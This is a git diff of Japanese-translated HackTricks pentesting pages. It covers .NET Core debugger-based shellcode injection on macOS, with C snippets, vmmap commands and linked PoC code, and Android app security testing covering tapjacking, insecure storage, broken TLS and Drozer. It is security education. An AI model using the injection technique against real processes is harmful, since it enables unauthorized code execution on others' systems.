<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -25,7 +25,7 @@
|
|||
|
||||
関数[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)は、デバッガからの通信を処理します。
|
||||
|
||||
デバッガが最初に行う必要があることは、**新しいデバッグセッションを作成すること**です。これは、.NETソースから取得できる`MessageHeader`構造体で始まる`out`パイプを介してメッセージを送信することで行われます。
|
||||
デバッガが最初に行う必要があることは、**新しいデバッグセッションを作成する**ことです。これは、`.NET`ソースから取得できる`MessageHeader`構造体で始まる`out`パイプを介してメッセージを送信することで行われます。
|
||||
```c
|
||||
struct MessageHeader
|
||||
{
|
||||
|
@ -66,7 +66,7 @@ sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
|
|||
```c
|
||||
write(wr, &sSendHeader, sizeof(MessageHeader));
|
||||
```
|
||||
以下は、`sessionRequestData`構造体を送信する必要があります。この構造体には、セッションを識別するためのGUIDが含まれています。
|
||||
次に、`sessionRequestData`構造体を送信する必要があります。この構造体には、セッションを識別するためのGUIDが含まれています。
|
||||
```c
|
||||
// All '9' is a GUID.. right??
|
||||
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
|
||||
|
@ -160,26 +160,26 @@ return true;
|
|||
|
||||
}
|
||||
```
|
||||
このために使用されるPOCコードは[こちら](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5)で見つけることができます。
|
||||
この操作を行うために使用されるPOCコードは[こちら](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5)で見つけることができます。
|
||||
|
||||
### .NET Coreコードの実行 <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
||||
|
||||
最初に、実行するためのシェルコードを保存するために**`rwx`**で実行されているメモリ領域を特定する必要があります。これは簡単に次のコマンドで行うことができます:
|
||||
最初に、実行するためのシェルコードを保存するために**`rwx`**で実行されているメモリ領域を特定する必要があります。これは簡単に次のコードで行うことができます:
|
||||
```bash
|
||||
vmmap -pages [pid]
|
||||
vmmap -pages 35829 | grep "rwx/rwx"
|
||||
```
|
||||
実行をトリガーするためには、関数ポインタが格納されている場所を知る必要があります。.NET CoreランタイムがJITコンパイルのためのヘルパー関数を提供するために使用する**Dynamic Function Table (DFT)**内のポインタを上書きすることが可能です。サポートされている関数ポインタのリストは、[`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h)内で見つけることができます。
|
||||
実行をトリガーするためには、関数ポインタが上書きされる場所を知る必要があります。.NET CoreランタイムがJITコンパイルのためのヘルパー関数を提供するために使用する**Dynamic Function Table (DFT)**内のポインタを上書きすることが可能です。サポートされている関数ポインタのリストは、[`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h)内で見つけることができます。
|
||||
|
||||
x64バージョンでは、**シグネチャハンティング**テクニックを使用して、**`libcorclr.dll`**内のシンボル**`_hlpDynamicFuncTable`**への参照を検索することで、これを簡単に行うことができます。次に、この参照をデリファレンスすることができます。
|
||||
x64バージョンでは、**シグネチャハンティング**技術を使用して、**`libcorclr.dll`**内のシンボル**`_hlpDynamicFuncTable`**への参照を検索することで、これを簡単に行うことができます。次に、このポインタを参照解除することができます。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
残る作業は、シグネチャ検索を開始するためのアドレスを見つけることです。これには、別の公開されたデバッガ関数**`MT_GetDCB`**を活用します。これにより、ターゲットプロセスに関する有用な情報がいくつか返されますが、今回の場合は、**`m_helperRemoteStartAddr`**というヘルパー関数のアドレスが含まれるフィールドに興味があります。このアドレスを使用することで、ターゲットプロセスのメモリ内に**`libcorclr.dll`が配置されている場所**を知ることができ、DFTの検索を開始できます。
|
||||
残る作業は、シグネチャ検索を開始するためのアドレスを見つけることです。これを行うために、別の公開されたデバッガ関数**`MT_GetDCB`**を利用します。これにより、ターゲットプロセスに関する有用な情報が返されますが、今回の場合は、**`m_helperRemoteStartAddr`**というヘルパー関数のアドレスが含まれるフィールドに興味があります。このアドレスを使用することで、ターゲットプロセスのメモリ内に**`libcorclr.dll`が配置されている場所**を知ることができ、DFTの検索を開始することができます。
|
||||
|
||||
このアドレスを知ることで、関数ポインタを自分のシェルコードで上書きすることが可能です。
|
||||
このアドレスを知ることで、関数ポインタをシェルコードで上書きすることが可能です。
|
||||
|
||||
PowerShellにインジェクトするために使用される完全なPOCコードは、[こちら](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)で見つけることができます。
|
||||
PowerShellに注入するために使用される完全なPOCコードは、[こちら](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)で見つけることができます。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -192,7 +192,7 @@ PowerShellにインジェクトするために使用される完全なPOCコー
|
|||
* サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**を**フォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
**HackenProofはすべての暗号バグバウンティの場です。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
@ -63,7 +63,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
|||
|
||||
adb pull /data/app/com.android.insecurebankv2- Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報酬の場所です。**
|
||||
|
||||
|
@ -104,13 +104,13 @@ APKの**文字列**を見るだけで、**パスワード**、**URL**([https:/
|
|||
* `<application android:allowBackup="false"`
|
||||
* **NetworkSecurity:**アプリケーションのネットワークセキュリティは、**`android:networkSecurityConfig="@xml/network_security_config"`**でデフォルト値を上書きできます。その名前のファイルを_**res/xml.**_に配置することができます。このファイルでは、証明書ピンやHTTPトラフィックを許可するかどうかなど、重要なセキュリティ設定を構成します。ここで構成できるすべてのことについての詳細情報はこちらを参照してくださいが、次の例はいくつかのドメインに対してHTTPトラフィックを設定する方法についてのものです:
|
||||
* `<domain-config cleartextTrafficPermitted="true"> <domain includeSubdomains="true">formation-software.co.uk </domain></domain-config>`
|
||||
* **エクスポートされたアクティビティ**:マニフェスト内のエクスポートされたアクティビティをチェックしてください。これは危険な場合があります。後で動的解析で[この動作を悪用する方法](./#exploiting-exported-activities-authorisation-bypass)について説明します。
|
||||
* **コンテンツプロバイダー**:エクスポートされたプロバイダーが公開されている場合、興味深い情報にアクセス/変更できる場合があります。動的解析では、[これらを悪用する方法](./#exploiting-content-providers-accessing-and-manipulating-sensitive-information)について学びます。
|
||||
* **エクスポートされたアクティビティ**:マニフェスト内のエクスポートされたアクティビティをチェックしてください。これは危険な場合があります。後で動的解析で[この動作を悪用する方法](./#exploiting-exported-activities-authorisation-bypass)を説明します。
|
||||
* **コンテンツプロバイダー**:エクスポートされたプロバイダーが公開されている場合、興味深い情報にアクセス/変更できる場合があります。動的解析では、[これらを悪用する方法](./#exploiting-content-providers-accessing-and-manipulating-sensitive-information)を学びます。
|
||||
* `android:name="android.support.FILE_PROVIDER_PATHS"`という属性内の**FileProviders**の構成を確認してください。[FileProvidersの詳細についてはこちらを参照してください](./#fileprovider)。
|
||||
* **公開されたサービス**:サービスが内部で何を行っているかによって、脆弱性が悪用される場合があります。動的解析では、[これらを悪用する方法](./#exploiting-services)について学びます。
|
||||
* **ブロードキャストレシーバー**:[悪用方法について学ぶことができます](./#exploiting-broadcast-receivers)(動的解析時)。
|
||||
* **URLスキーム**:スキーマを管理するアクティビティのコードを読み、ユーザーの入力を処理する際の脆弱性を探してください。[URLスキームとは何かについての詳細情報はこちらを参照してください](./#url-schemes)。
|
||||
* **minSdkVersion**、**targetSDKVersion**、**maxSdkVersion**:これらはアプリが実行されるAndroidのバージョンを示しています。セキュリティの観点から、古いバージョンをサポートすることは、既知の脆弱性のあるAndroidのバージョンを実行することを許可します。
|
||||
* **公開されたサービス**:サービスが内部で何を行っているかによって、脆弱性が悪用される場合があります。動的解析では、[これらを悪用する方法](./#exploiting-services)を学びます。
|
||||
* **ブロードキャストレシーバー**:[悪用の可能性がある方法](./#exploiting-broadcast-receivers)を学びます。
|
||||
* **URLスキーム**:スキーマを管理するアクティビティのコードを読み、ユーザーの入力を処理する際の脆弱性を探してください。[URLスキームの詳細についてはこちらを参照してください](./#url-schemes)。
|
||||
* **minSdkVersion**、**targetSDKVersion**、**maxSdkVersion**:これらはアプリが実行されるAndroidのバージョンを示しています。セキュリティの観点から、古いバージョンをサポートすることは、既知の脆弱性のあるAndroidバージョンで実行されることを許可することになります。
|
||||
|
||||
**resources.arsc/strings.xml**を読むことで、いくつかの**興味深い情報**を見つけることができます:
|
||||
|
||||
|
@ -123,7 +123,7 @@ APKの**文字列**を見るだけで、**パスワード**、**URL**([https:/
|
|||
**タップジャッキング**は、**悪意のあるアプリケーション**が起動し、**被害者アプリケーションの上に配置**される攻撃です。一度被害者アプリケーションを視覚的に隠すと、ユーザーインターフェースはユーザーをだましてそれと対話させ、その対話を被害者アプリケーションに渡します。\
|
||||
実際には、ユーザーは自分が実際に被害者アプリケーション上で操作を行っていることを知ることができません。
|
||||
|
||||
この攻撃に対して脆弱なアプリを検出するためには、Androidマニフェストで**エクスポートされたアクティビティ**を検索する必要があります(インテントフィルタを持つアクティビティはデフォルトで自動的にエクスポートされます)。エクスポートされたアクティビティを見つけたら、**必要なパーミッションがあるかどうかを
|
||||
この攻撃に対して脆弱なアプリを検出するためには、Androidマニフェストで**エクスポートされたアクティビティ**を検索する必要があります(インテントフィルタを持つアクティビティはデフォルトで自動的にエクスポートされます)。エクスポートされたアクティビティを見つけたら、**必要なパーミッションがあるかどうかを確認**することが重要です。
|
||||
```markup
|
||||
<Button android:text="Button"
|
||||
android:id="@+id/button1"
|
||||
|
@ -133,9 +133,9 @@ android:filterTouchesWhenObscured="true">
|
|||
</Button>
|
||||
```
|
||||
[**qark**](https://github.com/linkedin/qark)を`--exploit-apk`パラメータと共に使用すると、潜在的な**Tapjacking**の脆弱性をテストするための悪意のあるアプリケーションを作成することができます。\
|
||||
このような機能を実装したサンプルプロジェクトは、[**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp)で見つけることができます。
|
||||
このような機能を実装した例のプロジェクトは、[**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp)で見つけることができます。
|
||||
|
||||
対策は比較的簡単で、開発者は他のビューによって覆われた場合にタッチイベントを受け取らないように選択することができます。[Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security)を使用します。
|
||||
対策は比較的簡単で、開発者は他のビューによってカバーされている場合にタッチイベントを受け取らないように選択することができます。[Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security)を使用します。
|
||||
|
||||
> 時には、ユーザーの完全な知識と同意のもとでアクションが実行されていることをアプリケーションが確認できることが重要です。例えば、許可リクエストの許可、購入の実行、広告のクリックなどです。残念ながら、悪意のあるアプリケーションは、意図したビューの目的を隠してユーザーにこれらのアクションを実行させようとするかもしれません。その対策として、フレームワークは、感度の高い機能へのアクセスを提供するビューのセキュリティを向上させるために使用できるタッチフィルタリングメカニズムを提供しています。
|
||||
>
|
||||
|
@ -151,26 +151,26 @@ android:filterTouchesWhenObscured="true">
|
|||
|
||||
**内部ストレージ**
|
||||
|
||||
**内部**ストレージに**作成**されたファイルは、**アプリ**のみが**アクセス可能**です。この保護はAndroidによって実装されており、ほとんどのアプリケーションには十分です。しかし、開発者はしばしば`MODE_WORLD_READBALE`および`MODE_WORLD_WRITABLE`を使用して、これらのファイルに別のアプリケーションへのアクセスを許可しますが、これにより他のアプリ(悪意のあるアプリ)がそれらにアクセスする制限はありません。\
|
||||
**静的**解析では、これらの**モード**の使用をチェックし、**動的**解析では作成されたファイルの**許可**をチェックします(おそらくいくつかのファイルはグローバルに読み取り/書き込み可能です)。\
|
||||
[この脆弱性についての詳細情報と修正方法はこちらを参照してください。](https://manifestsecurity.com/android-application-security-part-8/)
|
||||
**内部**ストレージに**作成**されたファイルは、**アプリ**のみが**アクセス**できます。この保護はAndroidによって実装されており、ほとんどのアプリケーションには十分です。しかし、開発者はしばしば`MODE_WORLD_READBALE`および`MODE_WORLD_WRITABLE`を使用して、これらのファイルに別のアプリケーションへのアクセスを許可しますが、これにより他のアプリ(悪意のあるアプリ)がアクセスする制限はありません。\
|
||||
**静的**解析では、これらの**モード**の使用をチェックし、**動的**解析では作成されたファイルの**許可**をチェックします(おそらくいくつかのファイルは世界的に読み取り/書き込み可能です)。\
|
||||
[この脆弱性についての詳細と修正方法はこちらを参照してください。](https://manifestsecurity.com/android-application-security-part-8/)
|
||||
|
||||
**外部ストレージ**
|
||||
|
||||
SDカードなどの**外部ストレージ**に作成されたファイルは、**グローバルに読み取りおよび書き込み可能**です。外部ストレージはユーザーによって取り外され、また任意のアプリケーションによって変更される可能性があるため、**外部ストレージを使用して機密情報を保存しないでください**。\
|
||||
SDカードなどの**外部ストレージ**に作成されたファイルは、**グローバルに読み取りおよび書き込み**が可能です。外部ストレージはユーザーによって取り外され、また任意のアプリケーションによって変更される可能性があるため、**外部ストレージを使用して機密情報を保存しないでください**。\
|
||||
信頼できないソースからのデータと同様に、**外部ストレージからのデータを処理する際には入力検証を実行**する必要があります。アプリが外部ストレージから実行可能ファイルを取得する場合は、ファイルを署名し、動的ローディングの前に暗号的に検証する必要があります。\
|
||||
情報は[こちら](https://manifestsecurity.com/android-application-security-part-8/)から取得しました。
|
||||
|
||||
外部ストレージは`/storage/emulated/0`、`/sdcard`、`/mnt/sdcard`で**アクセス**できます。
|
||||
|
||||
{% hint style="info" %}
|
||||
Android 4.4(**API 17**)以降、SDカードにはアプリケーションごとに特定のディレクトリにアクセスを**制限するディレクトリ構造**があります。これにより、悪意のあるアプリケーションが他のアプリのファイルに読み取りまたは書き込みアクセスを取得することが防止されます。
|
||||
Android 4.4(**API 17**)以降、SDカードにはアプリケーションのために特に指定されたディレクトリへのアクセスが**制限**されています。これにより、悪意のあるアプリケーションが他のアプリのファイルに読み取りまたは書き込みアクセスを取得することが防止されます。
|
||||
{% endhint %}
|
||||
|
||||
**クリアテキストで保存された機密データ**
|
||||
|
||||
* **共有プリファレンス**:Androidは、各アプリケーションが簡単にxmlファイルを`/data/data/<packagename>/shared_prefs/`パスに保存できるようにし、そのフォルダにクリアテキストで機密情報が含まれている場合があります。
|
||||
* **データベース**:Androidは、各アプリケーションが簡単にsqliteデータベースを`/data/data/<packagename>/databases/`パスに保存できるようにし、そのフォルダにクリアテキストで機密情報が含まれている場合があります。
|
||||
* **共有プリファレンス**:Androidは、各アプリケーションが簡単にxmlファイルを`/data/data/<packagename>/shared_prefs/`パスに保存できるようにします。そして、そのフォルダにクリアテキストで機密情報を見つけることができる場合があります。
|
||||
* **データベース**:Androidは、各アプリケーションが簡単にsqliteデータベースを`/data/data/<packagename>/databases/`パスに保存できるようにします。そして、そのフォルダにクリアテキストで機密情報を見つけることができる場合があります。
|
||||
|
||||
### 破損したTLS
|
||||
|
||||
|
@ -185,7 +185,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
|||
|
||||
**鍵管理プロセスの不備**
|
||||
|
||||
一部の開発者は、機密データをローカルストレージに保存し、コード内でハードコード化/予測可能な鍵で暗号化しています。これは行ってはいけません。逆向きエンジニアリングによって攻撃者が機密情報を抽出することができる可能性があるためです。
|
||||
一部の開発者は、機密データをローカルストレージに保存し、コード内でハードコード化/予測可能な鍵で暗号化しています。これは行ってはいけません。リバースエンジニアリングによって攻撃者が機密情報を抽出することができる可能性があるためです。
|
||||
|
||||
**安全でないおよび/または非推奨のアルゴリズムの使用**
|
||||
|
||||
|
@ -250,7 +250,7 @@ python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
|||
[content-protocol.md](content-protocol.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
|
@ -269,7 +269,7 @@ HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始
|
|||
|
||||
## 動的解析
|
||||
|
||||
> まず、アプリケーションとすべての環境(Burp CA証明書、Drozer、Fridaなど)をインストールできる環境が必要です。したがって、ルート化されたデバイス(エミュレートされたものでもないものでも)が非常におすすめです。
|
||||
> まず、アプリケーションとすべての環境(Burp CA証明書、Drozer、Fridaなど)をインストールできる環境が必要です。したがって、ルート化されたデバイス(エミュレートされたものでもない)を強くお勧めします。
|
||||
|
||||
### オンライン動的解析
|
||||
|
||||
|
@ -285,7 +285,7 @@ ADB接続のおかげで、エミュレータ内で**Drozer**と**Frida**を使
|
|||
|
||||
次のような**エミュレータ**を使用できます。
|
||||
|
||||
* [**Android Studio**](https://developer.android.com/studio)(**x86**と**arm**デバイスを作成でき、[**最新のx86**バージョンでは**ARMライブラリ**を使用できるため、遅いARMエミュレータは必要ありません](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html))。
|
||||
* [**Android Studio**](https://developer.android.com/studio)(**x86**と**arm**デバイスを作成でき、[**最新のx86**バージョンでは**ARMライブラリ**を使用するために遅いarmエミュレータが必要ありません](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html))。
|
||||
* イメージを**インストール**してから**削除**しようとする場合は、Windowsの場合は`C:\Users\<User>\AppData\Local\Android\sdk\system-images\`、Macの場合は`/Users/myeongsic/Library/Android/sdk/system-image`を使用できます。
|
||||
* これは、**主に使用するエミュレータであり、[このページで設定方法を学ぶことができます](avd-android-virtual-device.md)**。
|
||||
* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(無料版:Personal Edition、アカウントを作成する必要があります。_潜在的なエラーを回避するために**VirtualBox**を備えたバージョンをダウンロードすることをお勧めします。_)**
|
||||
|
@ -299,9 +299,9 @@ ADB接続のおかげで、エミュレータ内で**Drozer**と**Frida**を使
|
|||
|
||||
![](<../../.gitbook/assets/image (200) (1).png>)
|
||||
|
||||
また、Genymotionの**Android VMの設定**では、**Bridge Networkモード**を選択できます(これは、ツールを使用して別のVMからAndroid VMに接続する場合に便利です)。
|
||||
また、Genymotionの**Android VMの設定**では、**Bridge Networkモード**を選択できます(これは、ツールを使用してAndroid VMに別のVMから接続する場合に便利です)。
|
||||
|
||||
または、**物理デバイス**を使用することもできます(デバッグオプションを有効にし、ルート化できると便利です)。
|
||||
または、**物理デバイス**を使用することもできます(デバッグオプションを有効にし、ルート化できると良いです)。
|
||||
|
||||
1. **設定**。
|
||||
2. (Android 8.0以降)**システム**を選択します。
|
||||
|
@ -310,7 +310,7 @@ ADB接続のおかげで、エミュレータ内で**Drozer**と**Frida**を使
|
|||
5. 戻ると、**開発者オプション**が表示されます。
|
||||
|
||||
> アプリケーションをインストールした後、最初に行うべきことは、アプリケーションを試して調査し、その動作や機能に慣れることです。\
|
||||
> MobSFの動的解析+pidcatを使用して、**アプリケーションの動作を学びながら**、MobSFが後で確認できる**興味深いデータ**をキャプチャすることをおすすめします。
|
||||
> MobSFの動的解析+pidcatを使用して、**アプリケーションの動作を学びながら**、MobSFが後で確認できる**興味深いデータ**をキャプチャすることをお勧めします。
|
||||
### 意図しないデータ漏洩
|
||||
|
||||
**ログ**
|
||||
|
@ -325,16 +325,16 @@ Android 4.0以降のバージョンでは、**アプリケーションは自分
|
|||
|
||||
**コピー/ペーストバッファのキャッシュ**
|
||||
|
||||
Androidは、Androidアプリケーションでコピー&ペースト機能を提供するための**クリップボードベースの**フレームワークを提供しています。しかし、これにより、**他のアプリケーション**が一部の**機密データ**が含まれる**クリップボード**にアクセスできるという深刻な問題が発生します。**機密部分**のコピー/ペースト機能は**無効化**する必要があります。たとえば、クレジットカードの詳細をコピーすることを無効にします。
|
||||
Androidは、Androidアプリケーションでコピー&ペースト機能を提供するための**クリップボードベースの**フレームワークを提供しています。しかし、これにより、**他のアプリケーション**が一部の機密データを含む**クリップボード**にアクセスできる重大な問題が発生します。アプリケーションの**機密な部分**では、**コピー/ペースト**機能を**無効**にする必要があります。たとえば、クレジットカードの詳細をコピーすることを無効にします。
|
||||
|
||||
**クラッシュログ**
|
||||
|
||||
アプリケーションが実行中にクラッシュし、ログをどこかに保存する場合、それらのログは特にAndroidアプリケーションが逆アセンブルできない場合に、攻撃者にとって役立つ情報になる可能性があります。そのため、アプリケーションがクラッシュしたときにログを作成しないようにし、ログがネットワーク経由で送信される場合は、SSLチャネルを介して送信されることを確認してください。\
|
||||
アプリケーションが実行中に**クラッシュ**し、ログをどこかに**保存**する場合、それらのログは特にAndroidアプリケーションが逆アセンブルできない場合に、攻撃者にとって役立つ情報になる可能性があります。そのため、アプリケーションがクラッシュしたときにログを作成しないようにし、ログがネットワーク経由で送信される場合は、SSLチャネルを介して送信されることを確認してください。\
|
||||
ペンテスターとして、これらのログを確認してみてください。
|
||||
|
||||
**第三者への解析データの送信**
|
||||
|
||||
ほとんどのアプリケーションは、Google AdSenseなどの他のサービスをアプリケーションで使用しますが、時には**機密データ**やそのサービスに送信する必要のないデータが**漏洩**することがあります。これは、開発者が機能を適切に実装していないために起こる可能性があります。アプリケーションのトラフィックを傍受し、第三者に機密データが送信されているかどうかを確認できます。
|
||||
ほとんどのアプリケーションは、Google AdSenseなどの他のサービスをアプリケーションで使用しますが、時には**機密データ**またはそのサービスに送信する必要のないデータが**漏洩**することがあります。これは、開発者が機能を適切に実装していないために発生する可能性があります。アプリケーションのトラフィックを傍受し、第三者に機密データが送信されているかどうかを確認できます。
|
||||
|
||||
### SQLiteデータベース
|
||||
|
||||
|
@ -347,7 +347,7 @@ Androidは、Androidアプリケーションでコピー&ペースト機能を
|
|||
|
||||
### Drozer(エクスポートされたアクティビティ、コンテンツプロバイダ、サービスの攻撃)
|
||||
|
||||
**Drozer**を使用すると、Androidアプリの役割を**仮定**し、他のアプリとやり取りすることができます。Androidのプロセス間通信(IPC)メカニズムを利用したり、基礎となるオペレーティングシステムとやり取りしたりするなど、**インストールされたアプリケーションができることは何でもできます**。[Drozerガイド](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)から。
|
||||
**Drozer**を使用すると、Androidアプリの役割を**仮定**し、他のアプリと対話することができます。これにより、Androidのプロセス間通信(IPC)メカニズムを利用したり、基礎となるオペレーティングシステムと対話したりするなど、**インストールされたアプリケーションが行えることは何でも行えます**。[Drozerガイド](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)から。
|
||||
|
||||
Drozerは、以下のセクションで学ぶように、**エクスポートされたアクティビティ、エクスポートされたサービス、コンテンツプロバイダ**を攻撃するための便利なツールです。
|
||||
|
||||
|
@ -368,7 +368,7 @@ Drozerは、以下のセクションで学ぶように、**エクスポートさ
|
|||
```
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
